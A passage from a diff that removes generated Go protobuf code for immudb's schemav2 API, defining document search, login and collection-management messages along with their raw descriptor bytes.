PossibleIndexType. -var ( - PossibleIndexType_name = map[int32]string{ - 0: "DOUBLE", - 1: "INTEGER", - 2: "STRING", - } - PossibleIndexType_value = map[string]int32{ - "DOUBLE": 0, - "INTEGER": 1, - "STRING": 2, - } -) - -func (x PossibleIndexType) Enum() *PossibleIndexType { - p := new(PossibleIndexType) - *p = x - return p -} - -func (x PossibleIndexType) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (PossibleIndexType) Descriptor() protoreflect.EnumDescriptor { - return file_schemav2_proto_enumTypes[1].Descriptor() -} - -func (PossibleIndexType) Type() protoreflect.EnumType { - return &file_schemav2_proto_enumTypes[1] -} - -func (x PossibleIndexType) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use PossibleIndexType.Descriptor instead. -func (PossibleIndexType) EnumDescriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{1} -} - -type DocumentInsertRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document []*_struct.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` -} - -func (x *DocumentInsertRequest) Reset() { - *x = DocumentInsertRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertRequest) ProtoMessage() {} - -func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. -func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{0} -} - -func (x *DocumentInsertRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { - if x != nil { - return x.Document - } - return nil -} - -type DocumentQuery struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.schemav2.QueryOperator" json:"operator,omitempty"` - Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` -} - -func (x *DocumentQuery) Reset() { - *x = DocumentQuery{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentQuery) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentQuery) ProtoMessage() {} - -func (x *DocumentQuery) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. -func (*DocumentQuery) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{1} -} - -func (x *DocumentQuery) GetField() string { - if x != nil { - return x.Field - } - return "" -} - -func (x *DocumentQuery) GetOperator() QueryOperator { - if x != nil { - return x.Operator - } - return QueryOperator_EQ -} - -func (x *DocumentQuery) GetValue() *_struct.Value { - if x != nil { - return x.Value - } - return nil -} - -type DocumentSearchRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` - Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` -} - -func (x *DocumentSearchRequest) Reset() { - *x = DocumentSearchRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentSearchRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentSearchRequest) ProtoMessage() {} - -func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. -func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{2} -} - -func (x *DocumentSearchRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentSearchRequest) GetQuery() []*DocumentQuery { - if x != nil { - return x.Query - } - return nil -} - -func (x *DocumentSearchRequest) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentSearchRequest) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - -type DocumentSearchResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` -} - -func (x *DocumentSearchResponse) Reset() { - *x = DocumentSearchResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentSearchResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentSearchResponse) ProtoMessage() {} - -func (x *DocumentSearchResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentSearchResponse.ProtoReflect.Descriptor instead. -func (*DocumentSearchResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{3} -} - -func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { - if x != nil { - return x.Results - } - return nil -} - -func (x *DocumentSearchResponse) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentSearchResponse) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - -func (x *DocumentSearchResponse) GetEntriesLeft() uint32 { - if x != nil { - return x.EntriesLeft - } - return 0 -} - -type LoginRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` - Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` - Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` -} - -func (x *LoginRequest) Reset() { - *x = LoginRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *LoginRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*LoginRequest) ProtoMessage() {} - -func (x *LoginRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[4] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use LoginRequest.ProtoReflect.Descriptor instead. -func (*LoginRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{4} -} - -func (x *LoginRequest) GetUsername() string { - if x != nil { - return x.Username - } - return "" -} - -func (x *LoginRequest) GetPassword() string { - if x != nil { - return x.Password - } - return "" -} - -func (x *LoginRequest) GetDatabase() string { - if x != nil { - return x.Database - } - return "" -} - -type LoginResponseV2 struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Token string `protobuf:"bytes,1,opt,name=token,proto3" json:"token,omitempty"` - ExpirationTimestamp int32 `protobuf:"varint,2,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` -} - -func (x *LoginResponseV2) Reset() { - *x = LoginResponseV2{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *LoginResponseV2) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*LoginResponseV2) ProtoMessage() {} - -func (x *LoginResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[5] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use LoginResponseV2.ProtoReflect.Descriptor instead. -func (*LoginResponseV2) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{5} -} - -func (x *LoginResponseV2) GetToken() string { - if x != nil { - return x.Token - } - return "" -} - -func (x *LoginResponseV2) GetExpirationTimestamp() int32 { - if x != nil { - return x.ExpirationTimestamp - } - return 0 -} - -type CollectionCreateRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` - IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` -} - -func (x *CollectionCreateRequest) Reset() { - *x = CollectionCreateRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionCreateRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionCreateRequest) ProtoMessage() {} - -func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[6] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. -func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{6} -} - -func (x *CollectionCreateRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *CollectionCreateRequest) GetPrimaryKeys() map[string]PossibleIndexType { - if x != nil { - return x.PrimaryKeys - } - return nil -} - -func (x *CollectionCreateRequest) GetIndexKeys() map[string]PossibleIndexType { - if x != nil { - return x.IndexKeys - } - return nil -} - -type CollectionInformation struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - PrimaryKeys map[string]PossibleIndexType `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` - IndexKeys map[string]PossibleIndexType `protobuf:"bytes,3,rep,name=indexKeys,proto3" json:"indexKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=immudb.schemav2.PossibleIndexType"` -} - -func (x *CollectionInformation) Reset() { - *x = CollectionInformation{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[7] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionInformation) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionInformation) ProtoMessage() {} - -func (x *CollectionInformation) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[7] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. -func (*CollectionInformation) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{7} -} - -func (x *CollectionInformation) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -func (x *CollectionInformation) GetPrimaryKeys() map[string]PossibleIndexType { - if x != nil { - return x.PrimaryKeys - } - return nil -} - -func (x *CollectionInformation) GetIndexKeys() map[string]PossibleIndexType { - if x != nil { - return x.IndexKeys - } - return nil -} - -type CollectionGetRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *CollectionGetRequest) Reset() { - *x = CollectionGetRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[8] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionGetRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionGetRequest) ProtoMessage() {} - -func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[8] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. -func (*CollectionGetRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{8} -} - -func (x *CollectionGetRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -type CollectionListRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields -} - -func (x *CollectionListRequest) Reset() { - *x = CollectionListRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[9] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionListRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionListRequest) ProtoMessage() {} - -func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[9] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. -func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{9} -} - -type CollectionListResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Collections []*CollectionInformation `protobuf:"bytes,1,rep,name=collections,proto3" json:"collections,omitempty"` -} - -func (x *CollectionListResponse) Reset() { - *x = CollectionListResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[10] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionListResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionListResponse) ProtoMessage() {} - -func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[10] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. -func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{10} -} - -func (x *CollectionListResponse) GetCollections() []*CollectionInformation { - if x != nil { - return x.Collections - } - return nil -} - -type CollectionDeleteRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *CollectionDeleteRequest) Reset() { - *x = CollectionDeleteRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[11] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *CollectionDeleteRequest) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*CollectionDeleteRequest) ProtoMessage() {} - -func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[11] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. -func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{11} -} - -func (x *CollectionDeleteRequest) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -type Proof struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` -} - -func (x *Proof) Reset() { - *x = Proof{} - if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[12] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Proof) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Proof) ProtoMessage() {} - -func (x *Proof) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[12] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Proof.ProtoReflect.Descriptor instead. -func (*Proof) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{12} -} - -func (x *Proof) GetName() string { - if x != nil { - return x.Name - } - return "" -} - -var File_schemav2_proto protoreflect.FileDescriptor - -var file_schemav2_proto_rawDesc = []byte{ - 0x0a, 0x0e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x12, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, - 0x32, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, - 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, - 0x1b, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2f, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, - 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x8f, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3a, 0x0a, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, - 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x34, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, - 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, - 0x66, 0x74, 0x22, 0x62, 0x0a, 0x0c, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x0f, 0x4c, 0x6f, 0x67, 0x69, 